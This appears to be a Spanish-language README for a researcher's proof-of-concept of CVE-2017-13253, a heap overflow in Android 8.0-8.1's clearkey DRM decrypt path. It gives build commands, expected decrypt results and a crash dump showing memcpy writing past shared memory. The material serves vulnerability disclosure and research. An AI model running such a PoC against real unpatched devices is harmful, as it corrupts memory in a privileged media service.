
Código de prueba de concepto para CVE-2017-13253
Código PoC para CVE-2017-13253.
El artículo completo está disponible aquí. Ten en cuenta que los números son un poco diferentes a los del artículo del blog, ya que he descubierto que hay una mayor probabilidad de crash con un heap de 0x2000 (por supuesto, si lo ejecutas suficientes veces, debería fallar de todas formas).
Para preguntas, problemas o comentarios, eres bienvenido a contactarme en Twitter (@tamir_zb).
Para compilar esto:
AOSP/external. cd AOSP
source build/envsetup.sh
make icrypto_overflow
Ejecutar esto contra una versión sin parche de Android (8.0-8.1 anterior a marzo de 2018) debería resultar en un desbordamiento. Esto podría resultar en un crash, dependiendo de si los datos sobrescritos son escribibles o no.
El código debería imprimir la salida del método decrypt, que puede variar:
decrypt debería devolver BAD_VALUE (-22).decrypt debería devolver la cantidad de datos que copió.decrypt debería devolver UNKNOWN_ERROR (-32).decrypt debería devolver 0.Aquí hay un volcado parcial de crash resultante de ejecutar este PoC:
Build fingerprint: 'google/walleye/walleye:8.1.0/OPM1.171019.011/4448085:user/release-keys'
Revision: 'MP1'
ABI: 'arm'
pid: 761, tid: 5232, name: HwBinder:761_1 >>> /vendor/bin/hw/[email protected] <<<
signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0xee20f000
r0 ee20f000 r1 ee20d021 r2 00001eff r3 00000001
r4 00000001 r5 00000000 r6 ed117008 r7 00000000
r8 00000000 r9 fffff82a sl ee20d000 fp ee20efff
ip 08000000 sp ed2893c8 lr ed369e6b pc edda7f0c cpsr 20070010
backtrace:
#00 pc 00018f0c /system/lib/libc.so (__memcpy_base+244)
#01 pc 00004e67 /vendor/lib/mediadrm/libdrmclearkeyplugin.so (clearkeydrm::CryptoPlugin::decrypt(bool, unsigned char const*, unsigned char const*, android::CryptoPlugin::Mode, android::CryptoPlugin::Pattern const&, void const*, android::CryptoPlugin::SubSample const*, unsigned int, void*, android::AString*)+82)
...
memory map (205 entries):
(fault address prefixed with --->)
...
ee20d000-ee20efff rw- 0 2000 /dev/ashmem/MemoryHeapBase (deleted)
--->ee20f000-ee20ffff --- 0 1000 [anon:thread signal stack guard page]
...
Como puedes ver, la dirección de fallo es la memoria justo después de la memoria compartida. Dado que esta memoria está protegida contra escritura, el desbordamiento resultó en una falla de segmentación.